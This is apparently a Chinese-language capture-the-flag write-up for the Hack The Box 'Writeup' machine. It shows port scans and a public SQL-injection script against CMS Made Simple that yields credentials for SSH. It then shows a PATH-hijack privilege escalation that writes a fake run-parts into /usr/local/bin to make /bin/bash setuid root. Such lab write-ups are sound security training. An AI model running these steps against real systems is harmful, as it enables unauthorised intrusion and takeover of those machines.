端口扫描

┌──(mikannse㉿kali)-[~/HTB/writeup]
└─$ sudo nmap --min-rate=10000 -p- 10.10.10.138
Starting Nmap 7.94SVN ( https://nmap.org ) at 2024-09-02 22:35 CST
Nmap scan report for 10.10.10.138
Host is up (0.068s latency).
Not shown: 65533 filtered tcp ports (no-response)
PORT   STATE SERVICE
22/tcp open  ssh
80/tcp open  http

Nmap done: 1 IP address (1 host up) scanned in 13.52 seconds
┌──(mikannse㉿kali)-[~/HTB/writeup]
└─$ sudo nmap --min-rate=10000 -p- 10.10.10.138
Starting Nmap 7.94SVN ( https://nmap.org ) at 2024-09-02 22:35 CST
Nmap scan report for 10.10.10.138
Host is up (0.068s latency).
Not shown: 65533 filtered tcp ports (no-response)
PORT   STATE SERVICE
22/tcp open  ssh
80/tcp open  http

Nmap done: 1 IP address (1 host up) scanned in 13.52 seconds
                                                                                                     
┌──(mikannse㉿kali)-[~/HTB/writeup]
└─$ sudo nmap -sT -sV -sC -O -p22,80 10.10.10.138
Starting Nmap 7.94SVN ( https://nmap.org ) at 2024-09-02 22:36 CST
Nmap scan report for 10.10.10.138
Host is up (0.080s latency).

PORT   STATE SERVICE VERSION
22/tcp open  ssh     OpenSSH 9.2p1 Debian 2+deb12u1 (protocol 2.0)
| ssh-hostkey: 
|   256 37:2e:14:68:ae:b9:c2:34:2b:6e:d9:92:bc:bf:bd:28 (ECDSA)
|_  256 93:ea:a8:40:42:c1:a8:33:85:b3:56:00:62:1c:a0:ab (ED25519)
80/tcp open  http    Apache httpd 2.4.25 ((Debian))
|_http-title: Nothing here yet.
| http-robots.txt: 1 disallowed entry 
|_/writeup/
Warning: OSScan results may be unreliable because we could not find at least 1 open and 1 closed port
Device type: general purpose|specialized|storage-misc
Running (JUST GUESSING): Linux 5.X (91%), Crestron 2-Series (86%), HP embedded (85%)
OS CPE: cpe:/o:linux:linux_kernel:5.0 cpe:/o:crestron:2_series cpe:/h:hp:p2000_g3
Aggressive OS guesses: Linux 5.0 (91%), Crestron XPanel control system (86%), HP P2000 G3 NAS device (85%)
No exact OS matches for host (test conditions non-ideal).
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel

OS and Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 20.62 seconds

Web

显然只能从/writeup/目录入手,是一个博客界面，一共也就几个页面，尝试了一下目录穿越但是似乎没有，插件监测出来了是一个名叫:cms made simple的CMS，查看源码得知是2004-2019，那么尝试php/webapps/46635.py，是一个sql注入的漏洞

但是这个脚本运行需要pip2并且安装脚本会有一些问题，感谢这篇文章的博主解决了问题~

https://cn-sec.com/archives/2134048.html

运行脚本:

┌──(mikannse㉿kali)-[~/HTB/writeup]
└─$ python2 46635.py -u http://10.10.10.138/writeup/ --crack -w /usr/share/wordlists/rockyou.txt
[+] Salt for password found: 5a599ef579066807
[+] Username found: jkr
[+] Email found: jh
[+] Password found: 62def4866937f08cc13bab43bb14e6f7

在线md5解密得到:raykayjay9,尝试jkr账户ssh连接成功

提权

什么都没有，上传个linpeas，发现用户在一个特殊的video组，但是找SGID似乎找不到什么有用的东西。本想尝试pwnkit内核提权无奈靶机上无gcc。也许是方向找错了，但根据房间提示确实是组的权限问题，结果发现是staff组，可以进行PATH环境变量劫持

https://book.hacktricks.xyz/v/cn/linux-hardening/privilege-escalation/interesting-groups-linux-pe#yuan-gong-zu

总而言之就是可以在/usr/local/bin这样的环境变量中的路径创建文件，那么也就可以写一个执行文件来劫持，ssh登录时会自动执行的run-parts比较好劫持

jkr@writeup:/tmp$ echo -e '#!/bin/bash\nchmod 4777 /bin/bash' >/usr/local/bin/run-parts
jkr@writeup:/tmp$ chmod +x /usr/local/bin/run-parts

然后重新ssh登录

-bash-4.4$ /bin/bash -p
bash-4.4# whoami
root

碎碎念

staff组提权之前真没了解过233